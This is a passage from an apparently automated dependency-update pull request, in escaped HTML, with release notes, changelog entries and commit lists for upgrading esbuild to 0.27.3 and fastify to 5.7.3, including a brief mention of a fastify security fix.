class=\u0026quot;triangle\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eicons.css\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e.triangle {\n  width: 10px;\n  height: 10px;\n  background: currentColor;\n  clip-path: url(./triangle.svg#x);\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003etriangle.svg\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"xml\"\u003e\u003ccode\u003e\u0026lt;svg xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u0026gt;\n  \u0026lt;defs\u0026gt;\n    \u0026lt;clipPath id=\u0026quot;x\u0026quot;\u0026gt;\n      \u0026lt;path d=\u0026quot;M0 0H10V10Z\u0026quot;/\u0026gt;\n    \u0026lt;/clipPath\u0026gt;\n  \u0026lt;/defs\u0026gt;\n\u0026lt;/svg\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe CSS uses a URL fragment (the \u003ccode\u003e#x\u003c/code\u003e) to reference the \u003ccode\u003eclipPath\u003c/code\u003e element in the SVG file. Previously esbuild's CSS bundler didn't preserve the URL fragment when bundling the SVG using the \u003ccode\u003edataurl\u003c/code\u003e loader, which broke the bundled CSS. With this release, esbuild will now preserve the URL fragment in the bundled CSS:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e/* icons.css */\n.triangle {\n  width: 10px;\n  height: 10px;\n  background: currentColor;\n  clip-path: url('data:image/svg+xml,\u0026lt;svg xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u0026gt;\u0026lt;defs\u0026gt;\u0026lt;clipPath id=\u0026quot;x\u0026quot;\u0026gt;\u0026lt;path d=\u0026quot;M0 0H10V10Z\u0026quot;/\u0026gt;\u0026lt;/clipPath\u0026gt;\u0026lt;/defs\u0026gt;\u0026lt;/svg\u0026gt;#x');\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/blob/main/CHANGELOG-2024.md\"\u003eesbuild's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog: 2024\u003c/h1\u003e\n\u003cp\u003eThis changelog documents all esbuild versions published in the year 2024 (versions 0.19.12 through 0.24.2).\u003c/p\u003e\n\u003ch2\u003e0.24.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix regression with \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003eimport.meta\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4010\"\u003e#4010\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4012\"\u003e#4012\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4013\"\u003e#4013\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous change in version 0.24.1 to use a more expression-like parser for \u003ccode\u003edefine\u003c/code\u003e values to allow quoted property names introduced a regression that removed the ability to use \u003ccode\u003e--define:import.meta=...\u003c/code\u003e. Even though \u003ccode\u003eimport\u003c/code\u003e is normally a keyword that can't be used as an identifier, ES modules special-case the \u003ccode\u003eimport.meta\u003c/code\u003e expression to behave like an identifier anyway. This change fixes the regression.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/sapphi-red\"\u003e\u003ccode\u003e@​sapphi-red\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.24.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAllow \u003ccode\u003ees2024\u003c/code\u003e as a target in \u003ccode\u003etsconfig.json\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4004\"\u003e#4004\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eTypeScript recently \u003ca href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#support-for---target-es2024-and---lib-es2024\"\u003eadded \u003ccode\u003ees2024\u003c/code\u003e\u003c/a\u003e as a compilation target, so esbuild now supports this in the \u003ccode\u003etarget\u003c/code\u003e field of \u003ccode\u003etsconfig.json\u003c/code\u003e files, such as in the following configuration file:\u003c/p\u003e\n\u003cpre lang=\"json\"\u003e\u003ccode\u003e{\n  \u0026quot;compilerOptions\u0026quot;: {\n    \u0026quot;target\u0026quot;: \u0026quot;ES2024\u0026quot;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAs a reminder, the only thing that esbuild uses this field for is determining whether or not to use legacy TypeScript behavior for class fields. You can read more in \u003ca href=\"https://esbuild.github.io/content-types/#tsconfig-json\"\u003ethe documentation\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/billyjanitsch\"\u003e\u003ccode\u003e@​billyjanitsch\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow automatic semicolon insertion after \u003ccode\u003eget\u003c/code\u003e/\u003ccode\u003eset\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThis change fixes a grammar bug in the parser that incorrectly treated the following code as a syntax error:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eclass Foo {\n  get\n  *x() {}\n  set\n  *y() {}\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe above code will be considered valid starting with this release. This change to esbuild follows a \u003ca href=\"https://redirect.github.com/microsoft/TypeScript/pull/60225\"\u003esimilar change to TypeScript\u003c/a\u003e which will allow this syntax starting with TypeScript 5.7.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow quoted property names in \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003edefine\u003c/code\u003e and \u003ccode\u003epure\u003c/code\u003e API options now accept identifier expressions containing quoted property names. Previously all identifiers in the identifier expression had to be bare identifiers. This change now makes \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e consistent with \u003ccode\u003e--global-name\u003c/code\u003e, which already supported quoted property names. For example, the following is now possible:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9129e00e6c36a3e374820cb5e3fc2cd319c8ab85\"\u003e\u003ccode\u003e9129e00\u003c/code\u003e\u003c/a\u003e publish 0.27.3 to npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e20e4115acda9c9f052fdd1ec8d7d5c5489e837b\"\u003e\u003ccode\u003ee20e411\u003c/code\u003e\u003c/a\u003e small fix to release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/0dc0f2dee556460bd7b81d5bbbae5a2f86449ab6\"\u003e\u003ccode\u003e0dc0f2d\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4322\"\u003e#4322\u003c/a\u003e: parse and print CSS \u003ccode\u003e@scope\u003c/code\u003e rules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/55fe39164cd3429fcb92c6f358a8dfe2f6e6e559\"\u003e\u003ccode\u003e55fe391\u003c/code\u003e\u003c/a\u003e update firefox css gradient support\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/2c35297c7ad249a51b9cc3974fa91f74dc13f68c\"\u003e\u003ccode\u003e2c35297\u003c/code\u003e\u003c/a\u003e update gradient lowering transform\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9209e4445abe7610018f0f758fd5d1fa13ec3ea8\"\u003e\u003ccode\u003e9209e44\u003c/code\u003e\u003c/a\u003e Update Go to 1.25.7 (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4388\"\u003e#4388\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e8d861b68cf8c3c3a4806ec87444ee48b9af1ade\"\u003e\u003ccode\u003ee8d861b\u003c/code\u003e\u003c/a\u003e close \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4374\"\u003e#4374\u003c/a\u003e: compat table for the \u003ccode\u003eusing\u003c/code\u003e feature\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/19b8887368396934957abd75f316cc069d6cc067\"\u003e\u003ccode\u003e19b8887\u003c/code\u003e\u003c/a\u003e no longer need \u003ccode\u003ewilliamkapke/node-compat-table\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/7e442189722b54bc6c574ae1148e1014d99e5f32\"\u003e\u003ccode\u003e7e44218\u003c/code\u003e\u003c/a\u003e the \u003ccode\u003ekangax/compat-table\u003c/code\u003e repo moved to a new url\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/23b9338ed5efbdfa29d59b8b0d8088b1761fdc39\"\u003e\u003ccode\u003e23b9338\u003c/code\u003e\u003c/a\u003e run \u003ccode\u003emake update-compat-table\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/evanw/esbuild/compare/v0.21.5...v0.27.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for esbuild since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `esbuild` from 0.21.5 to 0.27.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/releases\"\u003eesbuild's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.27.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003ePreserve URL fragments in data URLs (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4370\"\u003e#4370\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eConsider the following HTML, CSS, and SVG:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eindex.html\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"html\"\u003e\u003ccode\u003e\u0026lt;!DOCTYPE html\u0026gt;\n\u0026lt;html\u0026gt;\n  \u0026lt;head\u0026gt;\u0026lt;link rel=\u0026quot;stylesheet\u0026quot; href=\u0026quot;icons.css\u0026quot;\u0026gt;\u0026lt;/head\u0026gt;\n  \u0026lt;body\u0026gt;\u0026lt;div class=\u0026quot;triangle\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eicons.css\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e.triangle {\n  width: 10px;\n  height: 10px;\n  background: currentColor;\n  clip-path: url(./triangle.svg#x);\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003etriangle.svg\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"xml\"\u003e\u003ccode\u003e\u0026lt;svg xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u0026gt;\n  \u0026lt;defs\u0026gt;\n    \u0026lt;clipPath id=\u0026quot;x\u0026quot;\u0026gt;\n      \u0026lt;path d=\u0026quot;M0 0H10V10Z\u0026quot;/\u0026gt;\n    \u0026lt;/clipPath\u0026gt;\n  \u0026lt;/defs\u0026gt;\n\u0026lt;/svg\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe CSS uses a URL fragment (the \u003ccode\u003e#x\u003c/code\u003e) to reference the \u003ccode\u003eclipPath\u003c/code\u003e element in the SVG file. Previously esbuild's CSS bundler didn't preserve the URL fragment when bundling the SVG using the \u003ccode\u003edataurl\u003c/code\u003e loader, which broke the bundled CSS. With this release, esbuild will now preserve the URL fragment in the bundled CSS:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e/* icons.css */\n.triangle {\n  width: 10px;\n  height: 10px;\n  background: currentColor;\n  clip-path: url('data:image/svg+xml,\u0026lt;svg xmlns=\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u0026gt;\u0026lt;defs\u0026gt;\u0026lt;clipPath id=\u0026quot;x\u0026quot;\u0026gt;\u0026lt;path d=\u0026quot;M0 0H10V10Z\u0026quot;/\u0026gt;\u0026lt;/clipPath\u0026gt;\u0026lt;/defs\u0026gt;\u0026lt;/svg\u0026gt;#x');\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/blob/main/CHANGELOG-2024.md\"\u003eesbuild's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog: 2024\u003c/h1\u003e\n\u003cp\u003eThis changelog documents all esbuild versions published in the year 2024 (versions 0.19.12 through 0.24.2).\u003c/p\u003e\n\u003ch2\u003e0.24.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix regression with \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003eimport.meta\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4010\"\u003e#4010\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4012\"\u003e#4012\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4013\"\u003e#4013\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous change in version 0.24.1 to use a more expression-like parser for \u003ccode\u003edefine\u003c/code\u003e values to allow quoted property names introduced a regression that removed the ability to use \u003ccode\u003e--define:import.meta=...\u003c/code\u003e. Even though \u003ccode\u003eimport\u003c/code\u003e is normally a keyword that can't be used as an identifier, ES modules special-case the \u003ccode\u003eimport.meta\u003c/code\u003e expression to behave like an identifier anyway. This change fixes the regression.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/sapphi-red\"\u003e\u003ccode\u003e@​sapphi-red\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.24.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAllow \u003ccode\u003ees2024\u003c/code\u003e as a target in \u003ccode\u003etsconfig.json\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4004\"\u003e#4004\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eTypeScript recently \u003ca href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#support-for---target-es2024-and---lib-es2024\"\u003eadded \u003ccode\u003ees2024\u003c/code\u003e\u003c/a\u003e as a compilation target, so esbuild now supports this in the \u003ccode\u003etarget\u003c/code\u003e field of \u003ccode\u003etsconfig.json\u003c/code\u003e files, such as in the following configuration file:\u003c/p\u003e\n\u003cpre lang=\"json\"\u003e\u003ccode\u003e{\n  \u0026quot;compilerOptions\u0026quot;: {\n    \u0026quot;target\u0026quot;: \u0026quot;ES2024\u0026quot;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAs a reminder, the only thing that esbuild uses this field for is determining whether or not to use legacy TypeScript behavior for class fields. You can read more in \u003ca href=\"https://esbuild.github.io/content-types/#tsconfig-json\"\u003ethe documentation\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/billyjanitsch\"\u003e\u003ccode\u003e@​billyjanitsch\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow automatic semicolon insertion after \u003ccode\u003eget\u003c/code\u003e/\u003ccode\u003eset\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThis change fixes a grammar bug in the parser that incorrectly treated the following code as a syntax error:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eclass Foo {\n  get\n  *x() {}\n  set\n  *y() {}\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe above code will be considered valid starting with this release. This change to esbuild follows a \u003ca href=\"https://redirect.github.com/microsoft/TypeScript/pull/60225\"\u003esimilar change to TypeScript\u003c/a\u003e which will allow this syntax starting with TypeScript 5.7.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow quoted property names in \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003edefine\u003c/code\u003e and \u003ccode\u003epure\u003c/code\u003e API options now accept identifier expressions containing quoted property names. Previously all identifiers in the identifier expression had to be bare identifiers. This change now makes \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e consistent with \u003ccode\u003e--global-name\u003c/code\u003e, which already supported quoted property names. For example, the following is now possible:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9129e00e6c36a3e374820cb5e3fc2cd319c8ab85\"\u003e\u003ccode\u003e9129e00\u003c/code\u003e\u003c/a\u003e publish 0.27.3 to npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e20e4115acda9c9f052fdd1ec8d7d5c5489e837b\"\u003e\u003ccode\u003ee20e411\u003c/code\u003e\u003c/a\u003e small fix to release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/0dc0f2dee556460bd7b81d5bbbae5a2f86449ab6\"\u003e\u003ccode\u003e0dc0f2d\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4322\"\u003e#4322\u003c/a\u003e: parse and print CSS \u003ccode\u003e@scope\u003c/code\u003e rules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/55fe39164cd3429fcb92c6f358a8dfe2f6e6e559\"\u003e\u003ccode\u003e55fe391\u003c/code\u003e\u003c/a\u003e update firefox css gradient support\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/2c35297c7ad249a51b9cc3974fa91f74dc13f68c\"\u003e\u003ccode\u003e2c35297\u003c/code\u003e\u003c/a\u003e update gradient lowering transform\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9209e4445abe7610018f0f758fd5d1fa13ec3ea8\"\u003e\u003ccode\u003e9209e44\u003c/code\u003e\u003c/a\u003e Update Go to 1.25.7 (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4388\"\u003e#4388\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e8d861b68cf8c3c3a4806ec87444ee48b9af1ade\"\u003e\u003ccode\u003ee8d861b\u003c/code\u003e\u003c/a\u003e close \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4374\"\u003e#4374\u003c/a\u003e: compat table for the \u003ccode\u003eusing\u003c/code\u003e feature\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/19b8887368396934957abd75f316cc069d6cc067\"\u003e\u003ccode\u003e19b8887\u003c/code\u003e\u003c/a\u003e no longer need \u003ccode\u003ewilliamkapke/node-compat-table\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/7e442189722b54bc6c574ae1148e1014d99e5f32\"\u003e\u003ccode\u003e7e44218\u003c/code\u003e\u003c/a\u003e the \u003ccode\u003ekangax/compat-table\u003c/code\u003e repo moved to a new url\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/23b9338ed5efbdfa29d59b8b0d8088b1761fdc39\"\u003e\u003ccode\u003e23b9338\u003c/code\u003e\u003c/a\u003e run \u003ccode\u003emake update-compat-table\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/evanw/esbuild/compare/v0.21.5...v0.27.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for esbuild since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastify` from 4.29.1 to 5.7.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.7.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-mrq3-vjjr-p77c\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-mrq3-vjjr-p77c\u003c/a\u003e \u003ccode\u003eCVE-2026-25224\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: update Reply.send() documentation for string serialization by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6466\"\u003efastify/fastify#6466\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: ignore agents config files by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6474\"\u003efastify/fastify#6474\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update vulnerability reporting to use GitHub Security by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6475\"\u003efastify/fastify#6475\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.7.2...v5.7.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.7.2...v5.7.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.7.2\u003c/h2\u003e\n\u003ch2\u003e⚠️ Notice ⚠️\u003c/h2\u003e\n\u003cp\u003eParsing of the \u003ccode\u003econtent-type\u003c/code\u003e header has been improved to a strict parser in PR \u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6414\"\u003e#6414\u003c/a\u003e. This means only header values in the form described in \u003ca href=\"https://httpwg.org/specs/rfc9110.html#field.content-type\"\u003eRFC 9110\u003c/a\u003e are accepted.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore: npm ignore AI related files by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6447\"\u003efastify/fastify#6447\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update sponsor url by \u003ca href=\"https://github.com/Eomm\"\u003e\u003ccode\u003e@​Eomm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6450\"\u003efastify/fastify#6450\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-http-exceptions to Ecosystem.md by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6442\"\u003efastify/fastify#6442\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix invalid shorten form schema example by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6448\"\u003efastify/fastify#6448\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Simplify and tighten decorators example by \u003ca href=\"https://github.com/smith558\"\u003e\u003ccode\u003e@​smith558\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6451\"\u003efastify/fastify#6451\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Fix incorrect variable use by \u003ca href=\"https://github.com/smith558\"\u003e\u003ccode\u003e@​smith558\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6455\"\u003efastify/fastify#6455\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update sponsor link by \u003ca href=\"https://github.com/Eomm\"\u003e\u003ccode\u003e@​Eomm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6460\"\u003efastify/fastify#6460\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Fix MIT Licence file to conform to standard by \u003ca href=\"https://github.com/smith558\"\u003e\u003ccode\u003e@​smith558\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6464\"\u003efastify/fastify#6464\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: move querystringParser option under routerOptions by \u003ca href=\"https://github.com/inyourtime\"\u003e\u003ccode\u003e@​inyourtime\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6463\"\u003efastify/fastify#6463\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Updated content-type header parsing by \u003ca href=\"https://github.com/jsumners\"\u003e\u003ccode\u003e@​jsumners\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6414\"\u003efastify/fastify#6414\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca 